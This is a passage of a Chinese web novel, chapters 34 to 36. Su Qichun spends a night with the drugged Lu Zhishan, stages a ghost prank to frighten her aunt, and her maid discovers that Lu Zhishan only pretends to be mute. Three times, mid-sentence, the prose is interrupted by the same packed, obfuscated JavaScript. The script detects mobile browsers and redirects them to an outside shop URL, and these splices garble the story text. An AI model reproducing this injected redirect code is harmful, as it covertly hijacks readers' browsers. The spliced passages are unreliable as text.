“对呀!”李夫人恨不得将事情宣扬得人尽皆知,声音也不管不顾地放肆起来,“纤纤被曲余青骗走了,至今下落不明,这都过去好几个时辰了!” 苏知辛本就怕杨夫人知道苏祈春的消息,再三提醒要低声,谁知这李夫人性子如此之急,他关上门,胸口闷得像压了块大石头。 众人听见关门声,朝他看过去。 苏知辛少有地阴沉着脸,目光扫过众人,他心中烦躁,又瞧见茯苓拿着药方站在角落里呆楞着,不免语气重了些,“还在傻站着干吗?还不快去熬药!” 茯苓被吓得浑身抖了一下,抬头看到苏知辛乌蒙蒙的脸,只觉一阵威压逼来,她双腿发软,不敢多言,慌乱应了一声跑到屋外。 屋外月明星稀,她走至廊下后,猛跳的心才逐渐平缓下来,没一会儿,屋内又是一阵争吵一阵哭泣。 又一群家仆带着失望的消息归来。 屋内这才陷入可怕的安静。 茯苓期间又去看了眼杨夫人,服了安神汤的杨夫人睡得格外恬静,她放下心来,走到苏祈春屋前,屋里黑漆漆的。 她想起傍晚时陆之山对她说的话,不自觉地捂住心口,疑惑,害怕,担心,绝望种种心绪一并翻涌上来,生生地让她喘不过气来。 她双手合十,对着明月祈祷,祈祷苏祈春千万不能有事。 苏府发生的一切苏祈春并不知道,她此时正用自己小小的身子,拖着陆之山,费尽九牛二虎之力,好容易才将陆之山拖到一处背风的地方。 她捡了些掉落的树枝放在一旁,又将它们堆成一堵堵挡风的墙,和陆之山两个人窝在里面,倒也不觉得天寒风急。 陆之山呼吸平稳,睡梦中的他酣意阵阵,苏祈春揉了揉累得酸胀的小手,扭头去看他,越看就越想笑。 她实在想不通自己用来对付坏人的迷药怎么就让陆之山中招了? 她双腿屈膝,两个胳膊支在膝盖上,白嫩嫩的手捧着面靥,乌黑眸子里充满疑惑。 她想了想,兴许是她洒迷药的时候正好陆之山出现在她面前,她没看到,就将迷药洒在了他身上。 于是,可怜的山哥哥就这么中了药,在狂风呼啸的夜晚,倒在白雪地里呼呼大睡。 天呀,怎么这么可怜? 苏祈春带着又是笑又是无奈的神情,转过身子注视陆之山的侧脸。 黑暗里,陆之山冰山般的脸仍发着淡淡的薄光,白皙得令人发指,他的额角上残留着些渗血的针孔——这是方才苏祈春为陆之山施针留下的。 苏祈春自制的迷药威力惊人,譬如说苏川柏,若他不经救治,定会睡上三天三夜才能醒,而且醒来后会浑身酸疼,至少两天才能缓解。 陆之山中的迷药剂量更多,苏祈春施针后也没法儿让他立马醒来,只能缩短沉睡的时间。 苏祈春就这么笑意浓浓地看着陆之山,看他浓浓的眉毛像山峰一样,还有他高高的鼻梁,薄薄的嘴唇。 在这样漆黑的夜里,陆之山反而格外好看,苏祈春都看得移不开眼了,她的山哥哥怎么能这么好看呀? 苏祈春甚至在心里生出来一丝嫉妒,是对陆之山美貌的嫉妒,陆之山眼睛失明尚且这么好看,若是能看到了那还得了? 一定会迷倒万千小女郎,连天下第一剑也不遑多让。 苏祈春想到这里,警惕地嘟起嘴,不行!山哥哥是她一个人的,谁也不能抢走哼哼! 苏祈春忍不住又往陆之山身边靠了靠,宣誓主权一般抓住陆之山的胳膊,紧盯着他。 “山哥哥,你以后要是遇到更可爱更美好的小女郎,你会怎么办?”苏祈春语气凶巴巴的,见陆之山不回答,她嘴嘟得都快要能挂油瓶了。 “当然是拒绝她们了!”苏祈春理所当然地说。 她的山哥哥才不能多看别的小女郎一眼。 “你知道为什么吗?”苏祈春明知陆之山睡着了听不见,所以越发肆无忌惮,“因为啊。” 苏祈春亮晶晶的眸子望向陆之山,声音越来越轻,“因为山哥哥要是喜欢别的小女郎了,就要离开纤纤了,纤纤舍不得山哥哥。” 风忽然在空中停顿。 苏祈春垂下眸子,继续说道:“山哥哥你知道吗?其实一直以来,纤纤都好想有个人能陪陪纤纤。纤纤其实也没有看起来那么开心。” 她换了个姿势,靠在陆之山的肩上,和陆之山一样面对着天幕。 “爹爹很忙,有时候好多天都看不到他。娘亲身子差,纤纤也不敢时常打扰。” 苏祈春眨眨眼,密密的一排睫毛来回闪烁。 “倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884963|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是祖母身子康健,可是纤纤总觉得,纤纤像是祖母的玩意儿一样,纤纤要逗她开心。可是……” 苏祈春眼圈红起来,“可是明明纤纤才是小孩,为什么没有人来逗纤纤开心呀?” 苏祈春的声音逐渐哽咽起来,她用尽全身力气才不让自己泪水掉下,她扭头又去看陆之山,几乎是哀求的语气, “所以山哥哥你可不可以不要走,就陪在纤纤身边好不好?” 苏祈春一想起来陆之山有一天可能会离开自己就觉得害怕,心里那个最脆弱的部分就开始张牙舞爪。 她的山哥哥虽然不能说也不能看,可她的山哥哥会陪着她,听她说话让她任性,甚至她都伤害了他,他还是会原谅她。 这样的人她恐怕永远都遇不见了。 所以她不想山哥哥离开她,很不想很不想。 “好不好呀?山哥哥,纤纤求你了……” 苏祈春的声音越来越委屈,越来越小,她闭着眼睛,泪水顺着眼角滑下脸颊,流到陆之山的肩上,又透过厚厚的衣裳渗入到陆之山的身体里。 滚烫的泪走了太多的路程逐渐冰凉下来,冰得陆之山浑身颤抖,他于朦朦胧胧间听到身旁的小女郎带着困意的话语。 “山哥哥,你不说话的话,我就当你答应了,纤纤不管,纤纤就是要趁着你睡着的时候耍赖!” 小女郎就算困了,话语里也还带着不服气,陆之山挣扎着想要睁开眼,但沉沉的睡意压得他困倦不堪,他意识逐渐模糊下来,想要说的话轻的几乎让人听不见。 翌日,天光透过冷白的云层照在大地上,苏祈春靠在陆之山的肩上,浑身因为寒冷蜷缩在一起,直往陆之山身上钻。 湛江县的贩夫走卒起得早,早早就打开店门,大街上,地面的血迹早已被清理干净,路过的人踩在晶莹的白雪上,丝毫感觉不出差异。 起初,苏祈春觉得冷,在梦中,眉头也在皱着,后来她的身子越来越暖和,像在被窝里一样。 她意犹未尽地睁开眼,模糊的眼前有张带着笑的眼,她吃了一惊,以为自己看错了,揉了揉眼,才确认,原来真的是陆之山。 笑着的陆之山。 他看起来刚醒,松散的白布条半盖在眼上,露出他满是燎泡的眼皮,那是被烫出的泡,苏祈春还记得。 她盯了一会儿,伸出手将陆之山眼上的白布条仔细地系好。 陆之山耐心地等着她,内力从手心涌出,隔着空气暖着苏祈春的手。 苏祈春身上暖烘烘的,她甜甜地说:“山哥哥,你身上疼吗?”这药的副作用苏祈春一清二楚。 陆之山轻笑摇头。 苏祈春松口气,她想着山哥哥醒了,他们也要快些回去,一夜未归,家里指不定乱成什么样子呢? 她待要站起来,蜷缩了一夜的腿酸胀得让她立马又倒下,她可怜兮兮地抬头去看陆之山,“山哥哥,纤纤没力气走路了,这可怎么办啊?” 她像是遇到了天大的难事。 陆之山无奈地摇头,伸手拉拉她的帷帽,将她牢牢地罩在氅衣里,蹲下身子。 苏祈春笑得眉梢开花,一下就跳到了陆之山的背上。 “我好了。” 34. 讨说法 34讨说法 苏祈春将下巴放在陆之山的肩上,双手环着陆之山的脖颈,笑得比谁都灿烂。 陆之山站起身,身上的酸痛让他不自觉地晃了下,他听见苏祈春甜甜的声音。 “山哥哥,我们回家。” “好。”陆之山嘴角翘起来,在心底说,“我们回家。” * 苏祈春和陆之山一夜未归,苏府上下个个愁容满面,心不在焉。 苏老夫人清晨醒来,伺候的丫鬟们连着犯错,不是将帕子拿错了,就是茶水热得烫嘴,就连苏知辛也来晚了。 苏老夫人皱着眉,脸上颇为不悦,道:“今天是怎么了?怎么这府里面的人个个都这么慌乱,连你今天都来迟了?” 苏知辛垂下头,心下五味杂陈,带着歉意道:“母亲,是儿子不对。” 苏老夫人知道苏知辛的性子,她这个儿子平日里只报喜不报忧,嘴更是出了名的严实,从他嘴里是套不出什么话的,她索性也不追问,寒暄两句便放他走了,转头就把李夫人叫来。 李夫人心直口快,且胆小,苏老夫人吓她几句,她便什么都说了。得知昨夜发生的一切,苏老夫人气得浑身颤抖,几要晕倒。 “当真是施家的那个曲余青做的?”苏老夫人喝了好几口水,才勉强缓了缓。 李夫人一想起从家仆们口中听到的事,就对曲余青恨得牙痒痒,他曲余青是谁呀?还敢管他们家的事?还打苏川柏,她看见苏川柏脸上的两个巴掌印,就心疼。 “就是,昨晚回来的家仆们瞧得清清楚楚,就是那曲余青干的,曲余青将柏儿打晕之后,就劫了马车往城外走了,昨夜找了一夜都没找见。” 苏老夫人听得手抖,“那可报官了?” “这自然是没有。”李夫人连忙摇头。 若是没有报官,此事便有按下的余地,苏祈春毕竟是个女儿家,这样的事传出去对谁都不好。 苏老夫人点点头,又问:“那施家怎么说?” 李夫人冷哼几声,添油加醋道:“别提了,母亲,我原以为施家是个守礼明事的人家,谁知昨夜去到施家,他们的冷淡模样,母亲你是没看见,哪有半分将纤纤看作自家妹妹的样子呀!” 苏老夫人满是皱纹的脸上阴霾沉沉,“他们竟敢这样?真是当我们苏家没人了。” 苏老夫人此时被气昏了头,立时吩咐人备车去施府。 上元节那日李夫人在施家受尽冷落,她早就盼着有一日能报那时的一箭之仇,苏老夫人一发话,她跑得比谁都快。 马车很快备好,早有人将此事告知了苏知辛,苏知辛急急忙忙赶过来,欲要拦住苏老夫人。 苏老夫人立在马车边,一只脚正要往马车上踏,见苏知辛来了,便问:“你女儿一个晚上不见,你也不着急?” 苏知辛怎么能不着急,他焦心得一夜未睡,派去施府打听的人虽未得到什么消息,但以他想,施府清白人家,不会做出如此之事。 苏知辛擦擦汗,“母亲这是要去哪?” 苏老夫人怪她这个儿子懦弱,先是不肯休妻,如今连自己女儿受欺负了也不敢出头。 “自然是去施家,你这个当父亲的不管,我这个当祖母的只能亲自出马。”说罢,也不等苏知辛反应便上了马车。 苏知辛无奈,只能跟着苏老夫人一同去了施家。 施家昨晚上已听说了此事,但曲余青是施家二爷家的亲戚,他们也知道的少,于是一大早便派了人去问,谁知曲余青也是一夜未归。 施老夫人是不相信曲余青会做出出格之事的,但眼下这几人踪迹全无,施老夫人倒开始担心是不是被歹人掳走了。 正想着,苏家人便浩浩荡荡地走进正堂,苏老夫人脸上还带着怒意。 “妹妹你们怎么来了?”施老夫人笑着迎他们。 苏老夫人不答话,李夫人接道:“曲余青将我家纤纤给拐走了,一夜未归,我们今日来是来要人的。” 苏家来的这一趟动静不小,崔夫人和施之谓也都跟着来到正堂里。 崔夫人道:“拐?这不可能,是不是有什么误会?” 施之谓昨晚便觉得不对,没想到还是出事了,他皱紧眉心,跟身旁的褐衣家仆说了几句。 “没什么误会,你们家快些将曲余青交出来,否则的话,我们苏家是不会善罢甘休的。”李夫人好容易逮到机会,语气更是肆无忌惮地尖酸刻薄起来。 苏老夫人默默不语,等着施家人的回答。 施老夫人听出这话语中的尖锐,淡淡道:“曲余青我们也交不出来。” “什么?”李夫人眉尖竖起,大有泼妇炸街之姿,“你们交不出来?你们施家说起来也是湛江县有头有脸的人家,如今竟敢这么包庇自家人了?我不管,今天你们必须把人给我交出来!” 苏老夫人见施老夫人如此态度,胸内热火直烧,她强忍着怒意,道:“不错,今日施家必须将人交出来,否则,我这一把骨头折在这儿了也无妨,总之我一定要看见我的孙女好好的。” 施老夫人命人上茶,她端起茶水,有些不解,“妹妹,这事情还没搞清楚,怎么就说是我家的人拐了纤纤?” 李夫人接道:“怎么不是?柏儿身边的家仆都瞧见了,就是曲余青将纤纤带走了。” “可曲余青将纤纤带走也不一定就是要害她,也许是在救她也说不定。苏妹妹,你说是不是?”施老夫人慈眉善目地笑。 苏老夫人和苏知辛听了这话,愣了一下,眸光闪烁。 李夫人思索着话里的意思,曲余青若是好人,那她的柏儿不就成坏人了?这绝不可能! 李夫人道:“咱们也不用纠缠那么多,现下只需将曲余青叫出来,对峙一番便知道了。” 施老夫人轻笑摇头,“不是我们不愿意交出曲余青,实在是我们也找不到曲余青。依我看,倒不一定是谁拐了谁,倒像是他俩都被人拐了。” 现下最要紧的是找到两人,不是兴师问罪,互相猜忌,施老夫人一直将话往这方面引导,可李夫人却偏偏听不懂。 李夫人反驳道:“这话可不是你说什么就是什么了,谁知道你是不是在包庇!” 施老夫人自觉自己什么都没做,却要李夫人打成包庇之人,她何时受过这等委屈?她有些气急地捂着胸口道:“那你想怎样?” 李夫人道:“我要你们交人,你们不交人我就不走了!” “你——”人都说了不在,这让他们上哪找人去?施老夫人气得一口气没喘上来,脸憋得发紫。 崔夫人和施之谓忙上前缓和,施之谓盯着李夫人,道:“施家人向来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913948|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守礼明事,从不骗人,曲余青确实不在府里,而且现在事情没有完全理清楚,请你不要血口喷人。” “我血口喷人?你们拐骗小女郎还有理了?”李夫人叉腰,“对了,不会是你跟曲余青合谋的吧?” 施之谓眸子阴沉,“你说什么?” 李夫人像是发现了什么天大的秘密,道:“上元节那次你看上了我家纤纤,但求娶不成,你就联合曲余青做出这等伤天害理的事?亏你还自诩是读书人!” “你胡说!你血口喷人!”施之谓从未被人这样诬陷过,他身子发抖,全靠着孔夫子的教诲压制他才没发作。 有时候李夫人说的话连苏知辛都听不下去了,他欲出声止住,却被苏老夫人的目光阻止。 “是我血口喷人还是你心虚?你敢说你没对纤纤有非分之想?” 施之谓还未答话,崔夫人便道:“自然是没有,纤纤是之谓的妹妹,现在要紧的是找到两人,而不是胡搅蛮缠。” “你说谁胡搅蛮缠呢你?”李夫人撸撸袖子,走到崔夫人和施老夫人面前。 施老夫人见她这般模样便怕了,脸色发白,心颤不已。 崔夫人和施之谓也是拿李夫人没办法,只能尽力安抚施老夫人,唯恐她出什么差错。 他们平日住在深宅大院,哪里见过这种阵仗,李夫人这样步步紧逼,他们一句多的话都没有,低着头,像真的犯错了一般挨骂。 施之谓只盼望着早点儿找到曲余青,好将这泼妇打发走。 见无人回应,李夫人也越来越不顾及,大叫道:“我告诉你们,今天必须把曲余青交出来,不然的话—” “不然的话怎么样?”一个随性的男声隔着遥远的距离传来,但却又清晰异常。 施之谓抬头看,只见一个青色身影不知从何而来,站在李夫人身后,拍拍她的肩膀,笑着说:“你是找我吗?” 那声音诡异瘆人,李夫人回头一看,三魂顿时没了七魄。 “你你你……你谁呀?”李夫人看着眼前这个披头散发,满脸惨白的人,惊恐得说不出话。 “我是曲余青呀,你不是找我吗?”曲余青吐出长长的舌头,露出眼白看她。 “你是人是鬼呀?”李夫人看得心里发毛,“还有我家纤纤呢?” “婶娘,我在这儿呢。”曲余青身后忽地冒出来一个同样披头散发,满脸惨白的小小人儿。 “婶娘,怎么办呀?纤纤一个人好冷,婶娘快来陪陪纤纤吧。”苏祈春眼中流血,声音凄楚可怜。 “纤纤,你别过来呀,婶娘没有害你,是施家人害的你。”李夫人直往后退。 苏祈春眨眨眼,眸子里又落下几滴血泪,“可纤纤记得是谷哥哥和柏哥哥害我的呀?他们要将我绑了送给李元礼,我誓死不从,他们便狠心杀了我,连来救我的曲哥哥他们也不放过,好狠的心啊……” “你胡说什么?”李夫人顿时慌了,斥责道。 “我可没有胡说,山哥哥来找我,也被他们给害了。”苏祈春回身,冲着角落处招招手,“山哥哥,出来吧。” 陆之山浑身散发着一股冷意,他走到苏祈春身边,自然而然地贴近她。 “山哥哥好可怜,眼球都被他们挖走了,你要不要看看?”苏祈春说着,便要掀开陆之山眼上的白布。 35. 不愧是 35不愧是 “你别,别别——”李夫人伸出手蒙着眼睛,不敢去看。 苏祈春急得蹙眉,哀怨道:“婶娘,你快看看呀,我们这个样子可都是拜柏哥哥和谷哥哥所赐。” 苏祈春拉着陆之山一步步朝李夫人走近,声音凄惨可怜,“婶娘,你睁开眼看看呀。” 李夫人当然不敢睁眼,她大喊着救命,狼狈地朝后退去,生怕这不知是人是鬼的三个人要了自己的命。 “你们不要过来!”李夫人一连退至另一头的桌椅旁,桌上摆着刚放好的茶具,李夫人想也未想便抓起来向前扔去。 玉白的茶碗里盛着满满的茶水,就这样在空中旋转。 施之谓大喊:“纤纤小心!” 苏祈春乌黑的眸子骤然放大,玉白的茶碗宛如在她的眼底越来越近,越来越大,她下意识地伸手去挡。 茶碗撞在人身上闷闷的一声响,苏祈春放下挡在前面的胳膊,缓缓抬头看过去,她眼前恍惚了一下,直到陆之山的面容清晰地出现在她面前。 “山哥哥,你怎么样?被烫到了吗?”苏祈春不无担心地问。 陆之山低下头,朝着苏祈春的方向轻轻摇头。 苏祈春将陆之山拉至身后,凶巴巴地对着李夫人,红色的血泪淌在脸上,“婶娘,我们都变成鬼了你还不放过我们吗?” 李夫人吓得汗流如浆,慌乱地跑到苏老夫人身边,求苏老夫人道:“母亲救我,母亲救我!” 苏老夫人看了这半天的戏,有些咂摸出味儿了,她瞪了一眼李夫人,又笑着跟苏祈春说:“好了,纤纤,你这一晚上的去哪了?” 苏祈春没打算瞒着,她抹了抹脸,露出白嫩的脸颊,拉着陆之山来到苏老夫人身旁,将昨天夜里的事说了一遍。 苏老夫人听得脸色发青,李夫人更是惶恐不安,再三地说:“柏儿和谷儿不可能做那样的事。” 苏老夫人扶着额角,面色苍白,轻轻挥手示意李夫人莫要再说了,又招来苏知辛,道:“知辛,快去给施老夫人诊一诊脉。” 施老夫人半躺在椅子上,脸上血色全无。 苏知辛应了一声,虽施家人面容冷淡,但他还是硬着头皮替施老夫人诊了脉。 趁着这功夫,苏老夫人笑道:“家里小孩子不懂事,让施姐姐见笑了,今日之事,还请施姐姐莫要怪罪。” 施老夫人半闭着眼,气息奄奄,一句话也不想多说,崔夫人和施之谓也都别过脸不说话。 苏老夫人尴尬转过头,借着话头告辞离去,上马车时,李夫人上前去扶苏老夫人,苏老夫人瞥她一眼,冷冷道:“你教出来的好儿子!” 苏家人里恐怕只有苏祈春最坦荡,她拉着陆之山往外走,身后传来施之谓的声音,苏祈春回头,甜甜道:“之谓哥哥!” 施之谓脸上满是担忧,问道:“纤纤妹妹昨夜可曾受伤?” 他只庆幸昨夜让曲余青跟了过去,不然他此刻恐怕要后悔死。 苏祈春摇摇头,眨着眼道:“才没有,有曲哥哥和山哥哥保护我呢!”她说着,扭脸抬头去看陆之山,脸上笑意暖暖。 这是施之谓第一次见到陆之山,陆之山眼上蒙着白布,但周身气质疏朗,不像是寻常之人。 两人互相凝视的样子深刻,施之谓目光流转,暗暗沉沉,他清咳一声,语气逐渐淡下来,半是庆幸半是心酸,“既然纤纤妹妹没事,那我就放心了。” 马车很快到了苏府,苏祈春和陆之山刚下车,茯苓就冲上来抓住苏祈春的手,泪眼汪汪地说:“女郎,你总算回来了,我都快吓死了。” 苏祈春摆摆手,笑着说:“你看你那胆儿,也太小了,你家女郎是那么容易被欺负的么?再说了,纤纤可是有山哥哥保护的。” 苏祈春说这话的时候尾巴简直要翘上天了。 茯苓颤颤地瞟了一眼陆之山,只觉寒意入骨,她嗫嚅地说:“就是有他才会有事呀!” “你说什么呢?”苏祈春没听清楚。 陆之山偏了偏头,像在看茯苓,茯苓登时连话都说不出了,她拉着苏祈春的衣袖,声音低到几乎听不见,“没事没事。” 回到苏府后,李夫人便拉着苏三爷跪在苏老夫人的门前,哭喊得嗓子都哑了,只为祈求苏老夫人的原谅。 那哭声震天的响,简直要把房顶都掀翻,路过的人看着这一切,不由得摇头感叹。 连茯苓也忍不住说了几句,“他们俩哭有什么用?该让苏川柏和苏川谷跪在这里,好好地跟女郎你认错。” 苏祈春扑哧一声笑了,她含笑道:“那可不行!” 茯苓皱眉。 苏祈春手指勾着垂下的发丝,若有所思地道:“柏哥哥要睡上几天了,至于谷哥哥……”她想起曲余青说的话,笑意更浓,“谷哥哥恐怕一时半会儿回不来了。” 曲余青昨夜将苏川谷和李元礼绑了送到城外,城外永定河上船工早已歇下,他将两人敲晕了扔到船舱底,此时那两人想必已经顺着河流朝北而去了。 她想到这一切,不由得感叹,“曲哥哥可真不愧是曲哥哥。” 陆之山藏在袖中的指尖动了动,茯苓一头雾水地看着苏祈春,也不知发生了什么。 “山儿!” 苏祈春正慨叹时,苏泽兰和陆重迎面走来,苏泽兰泪眼朦胧,痴了一般,抓住陆之山的手不放,“山儿,你去哪了?你不许离开娘知道吗?我不许你离开。” 陆之山像在静静地听着,脸上风波不起。 “二姑姑,二姑父,你们别担心,山哥哥他呀。”苏祈春扭脸看向陆之山,脸颊宛如绽开的花,“山哥哥他一点儿事儿都没有!”苏祈春说这话的时候,脸上颇有些小骄傲。 有她苏祈春在,山哥哥是绝对不会有事的,她对天发誓! 陆重目光在两人身上徘徊,嘴角艰难地扯出一抹笑,“是纤纤啊。” 苏祈春望着他。 “你看你的山哥哥,这么大的人了还要你照顾,真不像个哥哥。”陆重瞧见两人和好如初的样子,心里颇不是滋味,“行了,山儿跟我走吧。” 苏泽兰紧抓着陆之山的衣袖,害得陆之山抽不出手来跟苏祈春说什么,苏祈春倒不在意,眯眼笑着望着他的背影。 渐渐升高的日头落得陆之山满肩暖意,苏祈春想起什么,挥手大喊:“山哥哥——” 陆之山停下回头,金色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942523|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光照出他侧脸上细密的绒毛,好似湖底随波漂泊的水草。 苏祈春跑到他面前,小小的人儿喘息连连,她仰脸道:“山哥哥,记得吃药,还有,” 苏祈春抓住他的胳膊,抓得紧紧的,好像不抓这么紧,陆之山就会消失,“以后纤纤还给你敷药。” 无论如何,她是一定不会放弃治好陆之山的,决不会。 扑簌簌的竹叶携着天光从陆之山肩头滑下,落了满地青翠。 陆之山的脸被这厚而暖的光浸润,透出些醺意来。 他展开苏祈春的手,在她的手心端端正正地写下:“好” 苏祈春笑得热烈。 天光旋转绽放,这还是陆重第一次这么近地瞧见陆之山在苏祈春手心写字。 陆之山走后,苏祈春回到了觉明院,杨夫人清醒的时间一天比一天短,苏祈春顾不得休息,铺开针袋,为杨夫人施针,睡梦中的杨夫人出了满头的虚汗,哎哟一声又闭上了眼。 茯苓端了药进来,担心地问:“女郎,夫人的病怎么样了?这几日夫人总是不醒,还老做噩梦,看得人真难受。” 苏祈春替杨夫人盖好被子,眼角被疲倦压得深深垂下,“让娘亲好好睡一觉,药等娘亲醒了再喝。” 杨夫人这病喝药也不过是求个安慰,就好像烧香拜佛一样,人人都知道那没有用,可绝望之下,任何一点小小的希望都会被抓住。 茯苓应了一声,转身看见苏祈春纤细的身影,猛地想起来昨日陆之山罩在她眼前的黑暗身影。 那时她正在廊下熬药,滚烫的水雾顺着炉嘴冒出来,模糊她眼前视线,她张大了嘴打了个哈欠,眼角余光处突然冒出个清白身影,她刚要看过去,一张手便捂住了她的嘴。 她甚至还未看清来人长相,便被他带至墙后,漆黑的天幕下,她看见眼前的人脑后飞舞的白布条,听见了她最不敢相信的话语。 陆之山的声音因为焦急而带着些粗粝,他明明想压低声音却又控制不住,他问:“你家女郎去哪了?” 茯苓张着嘴,战战兢兢地不知道该说什么,她明明记得陆之山是不会说话的,他是天生的哑症,可如今跟她说话的又是谁? “我……我……” 茯苓话不成句,陆之山握着她手腕的力量越来越大,她的手腕都要被拧断了,她惊恐得声音都在颤抖,好容易才将话说完。 但陆之山会说话这件事给她的震惊却像侵入骨缝的湿气,久久不散。她至今还记得陆之山警告她的话,他告诫她不要说出去,尤其是不能让苏祈春知道,可是…… 她跟着苏祈春进了屋,苏祈春又拿出一本治眼的医术看起来,茯苓忍不住上前劝道:“女郎,你怎么又把这书翻出来了?难不成你还要给陆公子治病?” 苏祈春不明白茯苓怎么突然这么问,她点点头,“当然了,我可是答应山哥哥,要把他的病治好的。” “哎呀,女郎!”茯苓索性将苏祈春手中的书夺过去,背在身后,“女郎,连施家的灵药都治不好,我看陆公子的病是没救了,女郎你还是放弃吧。” 茯苓才不想让苏祈春和陆之山有牵扯,他竟然装哑,谁知道他背后有什么阴谋? 36. 是装哑 36是装哑 苏祈春拧眉,板起脸认真地看着茯苓,“茯苓,把书给我。” 茯苓不动,梗着脖子不说话。 见茯苓这样,苏祈春索性也不理她了,她深深地看了茯苓一眼,扭身从茯苓身边走过,再也不跟茯苓说一句话。 茯苓起初以为苏祈春只是一时生气,谁知到了夜晚都没理她。 苏知辛为了苏川柏两兄弟的事忙了一天,结束后,天已擦黑,他索性也不去怀仁堂了,回到觉明院吃饭。 苏祈春难得和苏知辛一起吃饭,看起来心情颇好,她咬着筷子尖,听着苏知辛说起今日老夫人对三房的处置。 “今日你也瞧见了,你苏三叔和婶娘在老夫人房前跪了一天,哭天抹泪的。”苏知辛语气中犹带些愤怒。 “不过他们做出这种事,便是跪上七天七夜也是活该。”苏知辛捏着酒杯,手指因为用力而发白,茯苓趁机上前倒酒,瞥眼偷瞄着苏祈春。 苏祈春脸上没什么表情,她绕过苏知辛的话,问:“柏哥哥和谷哥哥呢?一直没瞧见他们。” 这件事说到底是苏川柏和苏川谷联合李元礼做的,苏三爷和李夫人最多也是管教不严之过,罪魁祸首是苏川柏两兄弟。 说至此,苏知辛挪了挪身子,拿起手中酒杯,一饮而尽,不敢看苏祈春,“你柏哥哥他还生着病……” 苏川柏还在生病,所以就不必处置他了么?连茯苓都觉得这不是那么回事儿。 但苏祈春脸上依旧平静,她笑着,“那谷哥哥呢?谷哥哥总没有生病吧?” 苏知辛脸上表情更不自然起来,“你谷哥哥他,他至今还踪迹全无,不过你放心,等找到他后,爹爹一定让他给你道歉。” 茯苓蹙眉,火气从脚底窜到脑袋里。 又是这种话。 她从小和苏祈春一起长大,这样的话她不知听了多少遍,每次都说会为苏祈春讨回公道,会为苏祈春出头,结果每次都是让苏祈春忍着,受着。 她家女郎是多好的人啊,对所有人耐心,暖心,凭什么? 凭什么她家女郎就要把所有的委屈和不甘咽到肚子里? 明明苏祈春一点儿都没有做错。 茯苓握着酒壶的手指攥得发白,牙齿也因为愤怒而咬得嘎吱嘎吱响。 苏祈春轻轻地笑,眼风扫了一下茯苓,眼底露出一丝不经意的苦涩。 “纤纤。”苏知辛拍拍苏祈春单薄的肩膀,“你以后还是少出门的好,呆在家里,就没这么多事了。” 苏祈春夹菜的动作停了停,脸上的笑一点点消失,她默不作声地把筷子放下,呆呆地望着前方,目光无神。 茯苓简直要气炸了,她家女郎做错了什么?她气得浑身颤抖,双手紧抓着酒壶猛地上前一步,一双眼睛猩红。 “砰”地一声,茯苓手中的酒杯重重地砸在桌子上,苏知辛抬头看过去,有些惊讶,“茯苓你要干什么?” 她要干什么?她要给她家女郎出头! 他们怎么能这么对苏祈春?她这次一定要把这群人都给骂一顿。 她在心里想了无数的词,想得浑身颤抖,周身的火气喷薄欲出,“我—” “茯苓?”苏祈春打断她的话,她迷茫地看着她,“我不理你这件事难道你还要跟爹爹告状?我可是爹爹的亲女儿,你告状也没用,哼!” 茯苓才不是因为这个,她张张嘴,想要辩驳,却又被苏祈春拦住,“好了好了,你快下去吧,再不下去,我就真不理你了。” 苏祈春说得认真严肃,不待茯苓反驳,苏祈春干脆直接把茯苓推出去,茯苓眉头皱成麻花,闷闷地待在门外。 门里面,苏祈春银铃般的笑声如波浪般阵阵传来,可茯苓却越听越伤心,越听越难过。 隔着茜色窗纱,她看见苏祈春笑得像阳光下绽放的向日葵花。 “这结果,会不会让你觉得委屈了?”苏知辛有些厚重的声音传出来。 “爹爹。”苏祈春望向苏知辛,甜甜的笑,这笑里不掺有一点杂质,最纯真,最可爱,“纤纤才没有责怪爹爹,纤纤只是觉得爹爹好久都没有做纤纤的实验品了,纤纤啊,手痒了。” 苏知辛愣一下,皱起的眉心终于舒展,心里的大石头沉沉落地,他爽朗笑着,“那爹爹就再给纤纤做一次实验品。” “好!” 觉明院里,一片欢声笑语,长长又短短的影子映在茜色的窗纱上,在漆黑夜幕的映衬下显得格外清晰耀眼,美好美满。 可这美好是极短暂的,就像热烈的喧闹后的寂静往往更可怕更猛烈。 茯苓一晚上都没和苏祈春好好说话,这会儿趁着苏知辛做完针灸刚走,她想着苏祈春心情应当正好,便端了一盘子糯米糕走进来。 苏祈春听到进门的声音,不动声色地从桌案上拿出那本《千金要方》,像没看见茯苓一般,目不转睛地看着。 茯苓将糯米糕放在一旁,瞧着苏祈春的神色,试探地说:“女郎,小厨房做了些糯米糕,你要不要尝尝?” 苏祈春盯着手中的书页,看也不看茯苓一眼。 